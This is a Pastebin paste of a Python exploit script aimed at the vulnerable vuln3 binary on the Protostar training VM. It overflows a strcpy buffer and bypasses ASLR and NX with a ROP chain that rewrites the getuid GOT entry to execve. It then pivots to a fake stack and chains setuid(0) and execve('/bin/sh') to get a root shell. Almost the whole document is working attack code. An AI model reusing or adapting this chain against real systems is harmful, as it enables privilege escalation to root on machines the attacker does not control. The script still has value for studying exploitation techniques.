Advertisement
Guest User

Untitled

a guest
Jan 16th, 2017
83
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.54 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. #
  4. # Sample exploit presenting way of dealing with ASLR and NX protections
  5. # on modern x86 linuxes, as presented ib:
  6. # # echo 2 > /proc/sys/kernel/randomize_va_space
  7. # # uname -a
  8. # Linux protostar 2.6.32-5-686 #1 SMP Mon Oct 3 04:15:24 UTC 2011 i686 GNU/Linux
  9. # # cat vuln.c
  10. #
  11. # #include <stdio.h>
  12. # #include <string.h>
  13. # #include <stdlib.h>
  14. #
  15. # int main (int argc, char **argv) {
  16. # char buf[256];
  17. # int i;
  18. # seteuid(getuid());
  19. # if(argc < 2) {
  20. # puts("Need an argument\n");
  21. # exit(-1);
  22. # }
  23. # strcpy(buf, argv[1]);
  24. # printf("%s\nLen:%d\n", buf, (int)strlen(buf));
  25. # return 0;
  26. # }
  27. #
  28. # root@protostar:/tmp# readelf -r /opt/protostar/bin/vuln3
  29. # [...]
  30. # 0804977c 00000607 R_386_JUMP_SLOT 00000000 getuid
  31. # 08049780 00000707 R_386_JUMP_SLOT 00000000 puts
  32. # 08049784 00000807 R_386_JUMP_SLOT 00000000 seteuid
  33. # 08049788 00000907 R_386_JUMP_SLOT 00000000 exit
  34. #
  35. # root@protostar:/tmp# readelf -s /lib/libc-2.11.2.so | grep -E "execve|getuid"
  36. # 1037: 000971c0 250 FUNC GLOBAL DEFAULT 12 fexecve@@GLIBC_2.0
  37. # 1465: 00097c00 12 FUNC WEAK DEFAULT 12 getuid@@GLIBC_2.0
  38. # 1484: 00097170 78 FUNC WEAK DEFAULT 12 execve@@GLIBC_2.0
  39. #
  40. #
  41. # WIP, to be refactored and enhanced.
  42. #
  43. # Mariusz B., 2016
  44. #
  45.  
  46. import struct
  47. import ctypes
  48. import sys
  49.  
  50. def uint32(x):
  51. return ctypes.c_uint32(x).value
  52.  
  53. EBP = 0x4e4e4e4e
  54. CORRECTING_VALUE = 0x01020305
  55.  
  56. GADGET_SETEBX = 0x80484d2
  57. GADGET_SETEDI = 0x80485f7
  58. GADGET_LEAVERET = 0x80483a6
  59. GADGET_ADD_TO_VALUE = 0x80484cb
  60.  
  61. libc_execve_offset = 0x97170
  62. libc_getuid_offset = 0x97c00
  63.  
  64. got_getuid_addr = 0x804977c
  65. got_execve_addr = got_getuid_addr
  66. got_printf_addr = 0x80483f8
  67. got_setuid_addr = 0x8048428
  68. got_exit_addr = 0x8048438
  69.  
  70. execve_rel = uint32(uint32(-libc_getuid_offset) + uint32(libc_execve_offset))
  71.  
  72. custom_stack_base = 0x8049f10
  73. custom_stack_offset = 0
  74.  
  75. def conv(x):
  76. if type(x) == type(''):
  77. return conv(struct.unpack("<I", x)[0])
  78. return struct.pack("<I", x)
  79.  
  80. def conv2(x):
  81. return struct.unpack("<I", x)[0]
  82.  
  83. def setebx(val32, ebp = EBP):
  84. # gadget: set ebx
  85. # 0x80484d2:
  86. # popl %ebx
  87. # popl %ebp
  88. # ret
  89. rop = ''
  90. rop += conv(GADGET_SETEBX)
  91. rop += conv(val32)
  92. rop += conv(ebp)
  93. return rop
  94.  
  95. def setedi(val32, ebp = EBP):
  96. # gadget: set edi
  97. # 0x80485f7:
  98. # popl %edi
  99. # popl %ebp
  100. # ret
  101. rop = ''
  102. rop += conv(GADGET_SETEDI)
  103. rop += conv(val32)
  104. rop += conv(ebp)
  105. return rop
  106.  
  107. def add_to_value(addr, val32):
  108. # gadget: overwrite indirect memory
  109. # 0x80484cb:
  110. # xchgl %edi, %eax
  111. # addb $0x08, %al
  112. # addl %eax, 0x5d5b04c4(%ebx)
  113. # ret
  114. rop = ''
  115.  
  116. # Check if value contains null byte
  117. if (( val32 & 0xff000000 == 0)
  118. or ( val32 & 0x00ff0000 == 0)
  119. or ( val32 & 0x0000ff00 == 0)
  120. or ( val32 & 0x000000ff == 0) ):
  121. rop += add_to_value(addr, uint32(val32 + CORRECTING_VALUE))
  122. val32 = uint32(-CORRECTING_VALUE)
  123.  
  124. rop += setedi(uint32(val32 - 8))
  125. rop += setebx(uint32(addr - 0x5d5b04c4))
  126. rop += conv(GADGET_ADD_TO_VALUE)
  127. return rop
  128.  
  129. def stack_pivot(custom_stack):
  130. # gadget: leave-ret performing stack-pivot
  131. # 0x80483a6:
  132. # leavel
  133. # ret
  134. rop = ''
  135. rop += conv(GADGET_SETEBX+1)
  136. rop += conv(uint32(custom_stack))
  137. rop += conv(GADGET_LEAVERET)
  138. rop += conv(uint32(custom_stack))
  139. rop += conv(uint32(custom_stack+4))
  140. return rop
  141.  
  142. def fake_frame(func, param1 = 'XXXX', param2 = 'YYYY', param3 = 'ZZZZ'):
  143. global custom_stack_offset
  144. rop = ''
  145. rop += conv(uint32(custom_stack_base + custom_stack_offset)) # +0
  146. rop += conv(func) # +4
  147. rop += conv(GADGET_LEAVERET) # +8
  148. rop += conv(param1) # +12
  149. rop += conv(param2)
  150. rop += conv(param3)
  151.  
  152. custom_stack_offset += len(rop)
  153. return rop
  154.  
  155. junk = 'A' * 268
  156. exp = junk + conv(EBP)
  157.  
  158. # Overwriting getuid's GOT entry with address of execve within libc
  159. # GOT[getuid] = execve
  160. exp += add_to_value(got_getuid_addr, execve_rel)
  161.  
  162. # Constructing "/bin/shXXXX%nYYYYYYY" string on custom stack
  163. exp += add_to_value(custom_stack_base+0, conv2('/bin'))
  164. exp += add_to_value(custom_stack_base+4, conv2('/shX'))
  165. exp += add_to_value(custom_stack_base+8, conv2('XXX%'))
  166. exp += add_to_value(custom_stack_base+12, conv2('nYYY'))
  167. exp += add_to_value(custom_stack_base+16, conv2('YYYY'))
  168. exp += add_to_value(custom_stack_base+7, uint32(0-struct.unpack('<I', 'XXXX')[0]))
  169. exp += add_to_value(custom_stack_base+13, uint32(0-struct.unpack('<I', 'YYYY')[0]))
  170.  
  171. custom_stack_offset += 28
  172. binsh = custom_stack_base + 0
  173. binsharray = custom_stack_base + 20
  174. printfmt = custom_stack_base + 11
  175.  
  176. setuidparam = custom_stack_base + custom_stack_offset + 12
  177. execveparam = custom_stack_base + custom_stack_offset + 32
  178.  
  179. # Prepare ["/bin/sh", 0] array for execve
  180. exp += add_to_value(binsharray, binsh)
  181.  
  182. on_custom_stack = ''
  183.  
  184. # setuid(0)
  185. on_custom_stack += fake_frame(got_setuid_addr, 'HHHH')
  186.  
  187. # execve("/bin/sh", ["/bin/sh", 0], 0);
  188. on_custom_stack += fake_frame(got_execve_addr, binsh, binsharray, 'JJJJ')
  189.  
  190. # exit(0)
  191. on_custom_stack += fake_frame(got_exit_addr, 0, 0, 0)
  192.  
  193. # Construct ROP gadgets chain to build chained frames on custom stack
  194. for i in range(0, len(on_custom_stack)-4, 4):
  195. exp += add_to_value(custom_stack_base+28+i, conv2(on_custom_stack[i:i+4]))
  196.  
  197. exp += add_to_value(setuidparam, uint32(0-struct.unpack('<I', 'HHHH')[0]))
  198. exp += add_to_value(execveparam, uint32(0-struct.unpack('<I', 'JJJJ')[0]))
  199.  
  200. # Stack pivotting into custom stack to leverage chained return-into-libc
  201. # exploitation technique
  202. exp += stack_pivot(custom_stack_base + 28)
  203.  
  204. sys.stdout.write(exp)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement